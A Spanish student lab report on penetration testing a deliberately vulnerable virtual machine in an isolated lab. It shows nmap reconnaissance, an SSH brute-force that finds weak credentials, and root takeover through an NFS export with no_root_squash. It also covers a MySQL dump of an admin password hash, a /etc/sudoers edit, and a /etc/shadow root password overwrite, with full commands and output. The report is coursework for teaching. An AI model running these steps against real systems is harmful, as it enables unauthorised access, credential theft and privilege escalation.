

INGENIERIA INFORMATICA
Escuela Politécnica Superior
Universidad Autónoma De Madrid

Práctica Ciberseguridad Escaneo de Red

Parte 2

David Teófilo Garitagoitia Romero
Daniel Cerrato Sánchez

29/03/2023

Índice de Contenidos

1. Introducción	2
2. Ejercicio 1	3
3. Ejercicio 2	4
4. Ejercicio 3	5
5. Ejercicio 4	7
6. Ejercicio 5	8
7. Ejercicio 6	9
8. Ejercicio 7	12
9. Ejercicio 8	14
10. Tabla de herramientas y órdenes usadas	16
11. Conclusiones	17

Lista de Figuras

A. Escaneo de red	3
B. Escaneo de puertos TCP	4
C. Escaneo de los 25 puertos UDP más frecuentes	5
D. Escaneo de puertos UDP abiertos	6
E. Escaneo de versión de servicios TCP en ejecución	7
F. Escaneo de versión de servicios UDP en ejecución	7
G. Escaneo de versión del Sistema Operativo de la máquina	8
H. Lanzamiento de ataque por fuerza bruta	9
I. Fin de ejecución de ataque por fuerza bruta	9
J. Inicio de sesión a través de SSH	10
K. Búsqueda, comprobación de permisos y de contenido de la bandera	10
L. Contenido del fichero /etc/exports de la máquina servidor	11
M. Montaje del sistema de ficheros de la máquina servidor en local	11
N. Cambio de permisos del fichero flag1.txt	11
O. Acceso a la base de datos “tikiwiki” de la máquina servidor con MySQL	12
P. Búsqueda de tablas con usuarios que contienen una columna llamada “hash”	12
Q. Comprobación de la tabla “users_users”	13
R. Información del usuario “admin”	13
S. Todas las bases de datos del servidor	13
T. Modificación del fichero /etc/sudoers	14
U. Formato del fichero /etc/shadows	15
V. Generar contraseña cifrada con MD5	15
W. Demostración del cambio de contraseña del usuario “root” de la máquina MetaExp	15

1.Introducción

El objetivo de esta práctica es familiarizarse con el pentesting y herramientas derivadas del mismo, como puede ser la distribución de Linux “Kali-Linux” y sus programas como pueden ser “hydra” u otros.

En esta práctica conoceremos las posibilidades que nos ofrece Kali-Linux como herramienta de pentesting así como la utilización de la herramienta “nmap”, en una fase de reconocimiento/escaneo de red.

Documentaremos detalladamente la actividad realizada, con ello pretendemos que se cumplan los siguientes objetivos:

1. Conocer y evaluar los problemas de seguridad existentes en una red local, así como los posibles puntos de vulnerabilidad.
2. Ser capaz de recuperar información acerca de una red.
3. Ser capaz de analizar, sintetizar y organizar la información dentro del área de seguridad informática.

Para ello se intentará atacar una máquina virtual de prueba comenzando con el escaneo para identificar, reconocer y conocer las direcciones e información general del objetivo mediante el empleo de *nmap* y las herramientas listadas anteriormente.

Comenzaremos descargando el laboratorio virtualizado “UD1.ova”.

Para poder interconectar las máquinas, crearemos una red NAT en VirtualBox, añadiendo desde “Preferencias” una red con rango 10.0.2.0/24 y conectando desde “Configuración” cada una de las máquinas a la red creada.

Por problemas técnicos, las ip son cambiadas a mitad de la práctica

Ip MetaExp: 10.0.2.4 y 10.0.2.6

Ip Kali Linux: 10.0.2.5 y 10.0.2.7

2.Ejercicio 1

Averiguad la dirección IP que tiene la máquina MetaExp

Para comprobar las IPs de una red, escaneamos la red con la herramienta **nmap** y sus flags

```
kali@kali:~$ nmap 10.0.2.0/25 -sn
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-22 20:08 UTC
Nmap scan report for 10.0.2.1
Host is up (0.024s latency).
Nmap scan report for 10.0.2.4
Host is up (0.020s latency).
Nmap scan report for 10.0.2.5
Host is up (0.017s latency).
Nmap done: 128 IP addresses (3 hosts up) scanned in 2.05 seconds
kali@kali:~$ hostname -I
10.0.2.5
```

A. Escaneo de red

La flag **-sn** permite escanear la red sin mostrar los puertos abiertos de cada IP

Sabemos que la IP del servidor es la **10.0.2.4** (**10.0.2.6 más adelante**); pero si no se conoce la IP, en esta red solo hay 3 IPs disponibles: la que acaba en 1 es la denominada “**Gateway**” y con el comando “**hostname -I**” podemos conocer la IP de la máquina local. De esta forma, descartamos 2 de las 3 IPs y la que resta es la IP del servidor.

3.Ejercicio 2

Identificad qué puertos TCP están abiertos en la máquina MetaExp

Para identificar los puertos TCP abiertos, volvemos a usar la herramienta *nmap*

```
kali@kali:~$ nmap 10.0.2.4 -sT
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-22 20:17 UTC
Nmap scan report for 10.0.2.4
Host is up (0.0061s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

Nmap done: 1 IP address (1 host up) scanned in 0.91 seconds
```

B. Escaneo de puertos TCP

La flag *-sT* permite escanear los puertos TCP abiertos de una IP dada.

4.Ejercicio 3

Señalad cuáles de los puertos UDP más frecuentes están abiertos en la máquina MetaExp

Para comprobar los puertos UDP más frecuentes usamos *nmap* con otra de sus flags

```
kali@kali:~$ sudo nmap 10.0.2.4 -sU --top-ports 25
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-22 20:26 UTC
Nmap scan report for 10.0.2.4
Host is up (0.0019s latency).
PORT      STATE SERVICE
53/udp    open  domain
67/udp    open|filtered dhcp
68/udp    open|filtered dhcp
69/udp    open|filtered tftp
111/udp   open  rpcbind
123/udp   closed ntp
135/udp   open|filtered msrpc
137/udp   open  netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed netbios-ssn
161/udp   closed snmp
162/udp   open|filtered snmptrap
445/udp   closed microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   closed route
631/udp   open|filtered ipp
998/udp   closed puparp
1434/udp  closed ms-sql-m
1701/udp  closed L2TP
1900/udp  closed upnp
4500/udp  closed nat-t-ike
5353/udp  closed zeroconf
49152/udp closed unknown
49154/udp closed unknown
MAC Address: 08:00:27:50:1F:E5 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
```

C. Escaneo de los 25 puertos UDP más frecuentes

En este caso, la flag *-sU* permite escanear los puertos UDP de una IP dada y la flag *--top-ports [n]* muestra los puertos *n* puertos UDP más comunes y su estado. Para este comando es necesario tener permisos de superusuario.

Como añadido, hemos escaneado directamente los puertos UDP abiertos de la máquina servidor simplemente quitando la flag **–top-ports**:

```
kali@kali:~$ sudo nmap 10.0.2.6 -sU
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-29 15:51 UTC
Nmap scan report for 10.0.2.6
Host is up (0.0024s latency).
Not shown: 993 closed ports
PORT      STATE      SERVICE
53/udp    open       domain
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
111/udp   open       rpcbind
137/udp   open       netbios-ns
138/udp   open|filtered netbios-dgm
2049/udp  open       nfs
MAC Address: 08:00:27:51:85:1D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 1085.72 seconds
```

D. Escaneo de puertos UDP abiertos

5. Ejercicio 4

Indicad la versión de los servicios ejecutándose en los siguientes puertos
22 TCP, 23 TCP, 80 TCP, 2049 UDP, 5432 TCP y 3306 TCP

```
kalipkali:~$ nmap 10.0.2.4 -sV -p 22,23,80,5432,3306
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-23 01:06 UTC
Nmap scan report for 10.0.2.4
Host is up (0.0047s latency).

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.85 seconds
```

E. Escaneo de versión de servicios TCP en ejecución

```
kalipkali:~$ sudo nmap 10.0.2.4 -sUV -p 2049
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-23 01:09 UTC
Nmap scan report for 10.0.2.4
Host is up (0.0024s latency).

PORT      STATE SERVICE VERSION
2049/udp  open  nfs      2-4 (RPC #100003)
MAC Address: 08:00:27:50:1F:E5 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds
```

F. Escaneo de versión de servicios UDP en ejecución

Para comprobar las versiones de los servicios en ejecución de una máquina, usamos la herramienta **nmap** con las banderas **-sV** (escaneo de la versión) y **-p** (para introducir una lista de puertos)

Como se muestra en la segunda imagen, para escanear los puertos UDP es necesario tener permisos de superusuario y añadir la flag **-sUV**.

6.Ejercicio 5

Averiguar la versión del SO instalado en la máquina MetaExp

```
kalimkali:~$ sudo nmap 10.0.2.4 -O
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-23 01:11 UTC
Nmap scan report for 10.0.2.4
Host is up (0.0020s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:50:1F:E5 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.83 seconds
```

G. Escaneo de versión del Sistema Operativo de la máquina

Para conocer la versión del Sistema Operativo de la máquina, se usa la herramienta **nmap** con la bandera **-O**, que ofrece un escaneo de la IP mostrando sus puertos TCP abiertos, su MAC, detalles sobre el Sistema Operativo y distancia en saltos, entre otras cosas.

En este caso, se trata de una máquina que corre un **Linux 2.6**, más específicamente una versión entre la **2.6.9** y la **2.6.33**.

7.Ejercicio 6

Iniciad sesión en MetaExp a través de SSH. Capturad la bandera “flag1.txt” e indicad su valor. ¿Qué permisos tiene “flag1.txt”?

Cambiadlos. Describid el proceso que habéis seguido para conseguirlo

- I. Primero intentamos conseguir las credenciales con fuerza bruta. Para eso, se puede usar la herramienta **nmap** con el script **ssh-brute** que realiza intentos de conexión a la IP dada. Se usa la bandera **-script [script_name]**.

```
kali@kali:~$ nmap --script ssh-brute 10.0.2.4
Starting Nmap 7.80 ( https://nmap.org ) at 2023-03-23 01:16 UTC
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: administrator:administrator
NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
```

H. Lanzamiento de ataque por fuerza bruta

Como se muestra en la imagen, el script realiza intentos con distintos nombres de usuario y contraseñas más comunes.

```
NSE: [ssh-brute] Trying username/password pair: admin:daniela
NSE: [ssh-brute] Trying username/password pair: administrator:daniela
NSE: [ssh-brute] Trying username/password pair: webadmin:daniela
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] usernames: Time limit 10m00s exceeded.
NSE: [ssh-brute] passwords: Time limit 10m00s exceeded.
Nmap scan report for 10.0.2.4
Host is up (0.0054s latency).
Not shown: 978 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
| ssh-brute:
|   Accounts:
|   user:user - Valid credentials
|_ Statistics: Performed 896 guesses in 601 seconds, average tps: 1.6
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  x11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
Nmap done: 1 IP address (1 host up) scanned in 602.68 seconds
```

I. Fin de ejecución de ataque por fuerza bruta

Como se observa en la imagen anterior, al acabar el script, se muestran los resultados válidos, en caso de existir. En este caso, existe al menos un usuario con nombre “user” y contraseña “user”.

II. A continuación, iniciamos sesión a través de ssh

```
kali@kali:~$ ssh user@10.0.2.4
The authenticity of host '10.0.2.4 (10.0.2.4)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCIOLuVscegPXLQ0suPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.0.2.4' (RSA) to the list of known hosts.
user@10.0.2.4's password:
Linux ui11 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Wed Mar 22 13:30:59 2023
user@ui11:~$
```

J. Inicio de sesión a través de SSH

III. Una vez iniciada la sesión, estaremos dentro de la máquina servidor como “user”, por lo que podremos actuar como tal y acceder a los ficheros y directorios que este pueda.

Como queremos capturar la bandera, buscamos el nombre de la bandera con el comando **find**. Cuando sepamos la ruta, vemos los permisos del fichero para comprobar si podemos ver su contenido y, en caso de poder, hacemos un **cat** para verlo.

```
user@ui11:~$ find / -type f -name flag1.txt 2> /dev/null
/home/user/flag1.txt
user@ui11:~$ ls -l flag1.txt
-rw-r--r-- 1 root root 68 2020-09-17 13:53 flag1.txt
user@ui11:~$ cat flag1.txt
The first flag is:
Winter is coming
```

K. Búsqueda, comprobación de permisos y de contenido de la bandera

En la búsqueda de la bandera, buscamos desde el directorio raíz, lo que puede mostrar por pantalla mensajes de error por no tener permisos de superusuario al intentar acceder a ciertos directorios. Para evitarlo, redirigimos las salidas de error a **/dev/null**.

- IV. Para cambiar los permisos de la bandera, necesitamos tener permisos de superusuario. Puesto que el ataque por fuerza bruta anterior no nos ha devuelto nada sobre el usuario root, tenemos que buscar otra forma. Mirando los puertos TCP abiertos, observamos que tiene NFS, así que comprobamos si podemos hacer algo con ello.

```
user@uill1:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync) hostname2(ro,sync)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt)
# /srv/nfs4/homes gss/krb5i(rw,sync)
#
/ *(rw,sync,no_root_squash,no_subtree_check)
```

L. Contenido del fichero `/etc/exports` de la máquina servidor

Comprobando el fichero `/etc/exports`, que contiene el control de acceso para el montaje del sistema de ficheros en un cliente, vemos que está activa la opción **`no_root_squash`**. Esta opción permite a un cliente actuar como root del servidor siendo root de su propia máquina.

- V. En local, montamos el sistema de ficheros del servidor en un directorio auxiliar creado con anterioridad.

```
kali@kali:~$ mkdir mnt
kali@kali:~$ sudo mount -t nfs 10.0.2.6:/ mnt/
kali@kali:~$ ls mnt/
bin  cdrom  etc  initrd  lib  media  nohup.out  proc  sbin  sys  usr  vmlinuz
boot dev  home  initrd.img  lost+found  mnt  opt  root  srv  tmp  var
kali@kali:~$ ls mnt/home/user/
flag1.txt
```

M. Montaje del sistema de ficheros de la máquina servidor en local

- VI. Una vez montado el sistema, usando los permisos de superusuario local, cambiamos los permisos de la bandera.

```
kali@kali:~$ sudo chmod 777 mnt/home/user/flag1.txt
kali@kali:~$ ls -l mnt/home/user/flag1.txt
-rwxrwxrwx 1 root root 68 Sep 17 2020 mnt/home/user/flag1.txt
```

N. Cambio de permisos del fichero `flag1.txt`

8.Ejercicio 7

Conectaros al servidor MySQL de la máquina MetaExp. Acceded a la base de datos con nombre “tikiwiki” y obtened el hash del usuario “admin”.

¿Qué otras bases de datos existen dentro de MySQL?

Si intentamos acceder como usuario base al servicio de MySQL, el servidor nos deniega el servicio; por lo que necesitamos de nuevo los permisos de superusuario. Existen varias formas de hacer esto: usando el comando **sudo** o añadiendo la bandera **-u** indicando el usuario **root**

```
kali@kali:~$ mysql tikiwiki -h 10.0.2.6
ERROR 1045 (28000): Access denied for user 'kali'@'10.0.2.7' (using password: NO)
kali@kali:~$ sudo mysql tikiwiki -h 10.0.2.6
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [tikiwiki]> █
```

0. Acceso a la base de datos “tikiwiki” de la máquina servidor con MySQL

La bandera **-h** permite indicar la IP del host donde reside la base de datos. En caso de hacer esto desde la máquina servidor, habiendo accedido con ssh, no haría falta usar esta opción.

Como queremos encontrar el hash del usuario “admin”, hacemos una búsqueda algo específica para encontrar las tablas de la base de datos donde puede encontrarse esta información

```
mysql> select distinct table_name, column_name
→ from information_schema.columns
→ where column_name like "hash" and table_name like "%user%";
+-----+-----+
| table_name | column_name |
+-----+-----+
| tiki_user_watches | hash |
| users_users | hash |
+-----+-----+
2 rows in set (0.01 sec)
```

P. Búsqueda de tablas con usuarios que contienen una columna llamada “hash”

Existen dos tablas con una columna “hash” y que tengan que ver con los usuarios (a priori). Así que comprobamos la tabla “users_users”, al menos; ya que es la que parece que va a tener la información que deseamos. En caso de no encontrarlo, buscamos en el resto de tablas.

Primero comprobamos las distintas columnas de esta tabla para ver qué información guarda.

```
mysql> show columns from users_users;
```

Field	Type	Null	Key	Default	Extra
userId	int(8)	NO	PRI	NULL	auto_increment
email	varchar(200)	YES		NULL	
login	varchar(40)	NO	MUL		
password	varchar(30)	YES			
provpass	varchar(30)	YES		NULL	
default_group	varchar(255)	YES		NULL	
lastLogin	int(14)	YES		NULL	
currentLogin	int(14)	YES		NULL	
registrationDate	int(14)	YES		NULL	
challenge	varchar(32)	YES		NULL	
pass_due	int(14)	YES		NULL	
hash	varchar(32)	YES		NULL	
created	int(14)	YES		NULL	
avatarName	varchar(80)	YES		NULL	
avatarSize	int(14)	YES		NULL	
avatarFileType	varchar(250)	YES		NULL	
avatarData	longblob	YES		NULL	
avatarLibName	varchar(200)	YES		NULL	
avatarType	char(1)	YES		NULL	
score	int(11)	NO	MUL	0	
valid	varchar(32)	YES		NULL	

21 rows in set (0.00 sec)

Q. Comprobación de la tabla "users_users"

Parece ser que esta es la tabla que buscamos, pues contiene atributos típicos de los usuarios. De modo que buscamos al usuario "admin" y mostramos algo de información suya, con el hash como mínimo.

```
mysql> select userID, login, password, hash from users_users where login like "%admin%";
```

userID	login	password	hash
1	admin	admin	f6fdffe48c908deb0f4c3bd36c032e72

1 row in set (0.01 sec)

R. Información del usuario "admin"

Por último, vemos el resto de bases de datos que contiene el servidor.

```
MySQL [tikiwiki]> show databases;
```

Database
information_schema
dvwa
metasploit
mysql
owasp10
tikiwiki
tikiwiki195

7 rows in set (0.003 sec)

S. Todas las bases de datos del servidor

9. Ejercicio 8

Explicad la importancia que tienen los puntos 5, 6 y 7 desde el punto de vista de un atacante. ¿Cuál podría ser el paso siguiente? Documentad vuestra respuesta

El punto 5 es importante para un atacante ya que le indica qué ZeroDays o vulnerabilidades propias del Sistema Operativo ha de usar para atacar.

El punto 6 es, a nuestro parecer, el punto más importante para un atacante. Es un agujero de seguridad muy grave como para no comentarlo en profundidad. Permitir a un cliente acceder a los archivos del servidor simplemente teniendo permisos de superusuario en su máquina cliente abre un mundo de posibilidades.

En ese punto hemos cambiado permisos de un archivo cuyos permisos no permitían al usuario atacado cambiarlos. Pero siendo *root* podemos hacer mucho más daño, por ejemplo, podríamos hacer que el usuario atacado, “user”, tuviese permisos de superusuario simplemente añadiéndole al archivo */etc/sudoers*, cosa que hemos hecho:

```
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#
Defaults            env_reset

# Uncomment to allow members of group sudo to not need a password
# %sudo ALL=NOPASSWD: ALL

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL) ALL
user    ALL=(ALL) ALL
#
# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL
```

T. Modificación del fichero */etc/sudoers*

Simplemente se accede con el comando **sudo** y un editor de texto como Vim o Nano. Este archivo es únicamente legible, pero si usamos Vim, con el comando **:wq!** forzamos a salir y sobrescribir. Este fichero solo se podría sobrescribir usando el comando **sudo visudo**.

Si no han detectado que hemos conseguido las credenciales del usuario “user”, este movimiento permitiría usarlo como tapadera para hacer lo que fuera necesario en la máquina servidor sin ser detectados fácilmente.

Más daño podríamos hacer si accedemos a otros ficheros, como puede ser el archivo **/etc/shadows**. Este archivo contiene las contraseñas cifradas de los usuarios del sistema. En conjunción con el archivo **/etc/passwd**, se usa para autenticar a los usuarios. Si podemos modificar el archivo “shadows”, podemos modificar las contraseñas de los usuarios y “capturar” el sistema.

Echando un primer vistazo al archivo, podemos ver que cada línea contiene el siguiente formato:

```
root:$1$nzC6VJcZ$FCDcGR8uLNNT6GVPze/IO1:14747:0:99999:7:::
```

U. Formato del fichero **/etc/shadows**

Lo que ahora mismo interesa son los dos primeros campos: el primero contiene el nombre de usuario y el segundo la contraseña cifrada. La contraseña cifrada está dividida en tres secciones separadas por el carácter “\$”: Un dígito que indica que tipo de hash se está usando, el hash del SALT y el hash de la contraseña.

En este caso, el usuario root está usando MD5 para cifrar la contraseña. Por lo que, generamos una contraseña nueva con MD5 para evitar incompatibilidades:

```
kali@kali:~$ openssl passwd -1 ROOT root  
$1$P2id4uhG$jLeA8fbQKjuXvlMaNrwsB/  
$1$nzC6VJcZ$FCDcGR8uLNNT6GVPze/IO1
```

V. Generar contraseña cifrada con MD5

En nuestro caso, el SALT es “ROOT” y la contraseña es “root”. Escogemos una de las dos líneas obtenidas y sobrescribimos el segundo campo del usuario que queramos. Acabamos de cambiar la contraseña del usuario.

```
kali@kali:~$ ssh root@10.0.2.6  
root@10.0.2.6's password:  
Last login: Fri Mar 24 16:22:35 2023 from :0.0  
Linux ui11 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686  
  
The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.  
  
To access official Ubuntu documentation, please visit:  
http://help.ubuntu.com/  
You have new mail.  
root@ui11:~#
```

W. Demostración del cambio de contraseña del usuario “root” de la máquina MetaExp

Por último, el punto 7 es también importante para el atacante, ya que permite desde modificar cualquier cosa de las bases de datos hasta crear puertas traseras con un usuario con permisos de administrador.

10. Tabla de herramientas y órdenes usadas

Herramienta u orden	Descripción
Kali-Linux	Distribución de Linux, especialmente usada para temas de C
VirtualBox	Virtualizador de Sistemas Operativos
UD1.ova	Laboratorio virtualizado que contiene dos máquinas: MetaExp, que funciona como máquina atacada; y Kali, Kali-Linux que actuará como máquina atacante.
nmap	Herramienta para escaneo y reconocimiento de red y sus componentes
hostname -I	Ip de la máquina local
nmap [rango_red] -sn	Escaneo de red sin mostrar puertos abiertos de cada componente
nmap [ip] -sT	Escaneo de una IP mostrando los puertos TCP abiertos
sudo nmap [ip] -sU --top-ports [n]	Escaneo de una IP mostrando el estado de los [n] puertos UDP más frecuentes
sudo nmap [ip] -sU	Escaneo de una IP mostrando los puertos UDP abiertos
nmap [ip] -sV -p [lista_TCP]	Escaneo de una IP mostrando la versión de los servicios ejecutándose en los puertos TCP
sudo nmap [ip] -sUV -p [lista_UDP]	Escaneo de una IP mostrando la versión de los servicios ejecutándose en los puertos UDP
sudo nmap [ip] -O	Escaneo de una IP añadiendo detalles sobre el Sistema Operativo en uso
nmap --script ssh-brute [ip]	Ejecución del script "ssh-brute" que prueba la conexión a una máquina a través de SSH usando credenciales usadas comúnmente
ssh [nombre_usuario]@[ip]	Inicio de sesión en máquina remota a través de SSH

Herramienta u orden	Descripción
find [ruta] -type f -name [nombre_fichero] 2> /dev/null	Búsqueda de un archivo desde una ruta dada con redirección de salidas de error para que no se impriman en pantalla
ls -l [ruta_fichero]	Listado de detalles de un archivo o directorio
cat [ruta_archivo]	Mostrar contenido de un archivo en pantalla
mkdir [ruta_directorio]	Crear directorio en ruta dada
sudo mount -t nfs [ip]:[ruta] [directorio]	Montaje de sistema de ficheros desde una ruta dada de una máquina remota en un directorio local dado usando el servicio NFS
sudo chmod [0-7][0-7][0-7] [fichero]	Cambio de permisos de un fichero
sudo mysql [nombre_BBDD] -h [ip]	Conexión remota a una base de datos alojada en un host dado
openssl passwd -1 [SALT] [contraseña]	Cifrado de contraseña usando MD5 y un salt
sudo vim [ruta_archivo]	Apertura de un archivo con permisos de superusuario en editor de texto Vim

11. Conclusiones

Esta práctica nos ha aportado mucho conocimiento nuevo, nos ha refrescado y ampliado antiguos conocimientos y nos ha puesto alerta sobre la ciberseguridad tanto a nivel empresarial como a nivel privado.

Está claro que la práctica está preparada con brechas de seguridad muy marcadas, pero aún así es un gran ejemplo de cómo pequeños matices pueden resultar en tragedias.

Hemos aprendido mucho sobre el uso de la herramienta “nmap” y sus distintas funcionalidades y también hemos refrescado el uso de otros comandos como “mount”, “find” o los comandos de SQL.

Como conclusión podemos decir que la frase “La seguridad no es un producto, es un proceso” es una grandísima verdad. También nos hemos dado cuenta de que toda seguridad es poca, a pesar de que en esta práctica no hayamos visto todo lo que se pueda llegar a hacer; y que la formación de los desarrolladores es muy importante, ya que, una vez creada toda la infraestructura, encontrar un agujero de seguridad es muy complicado; así que cometer los menos errores posibles durante el proceso de creación, es una inversión muy beneficiosa.

[FINAL DE DOCUMENTO]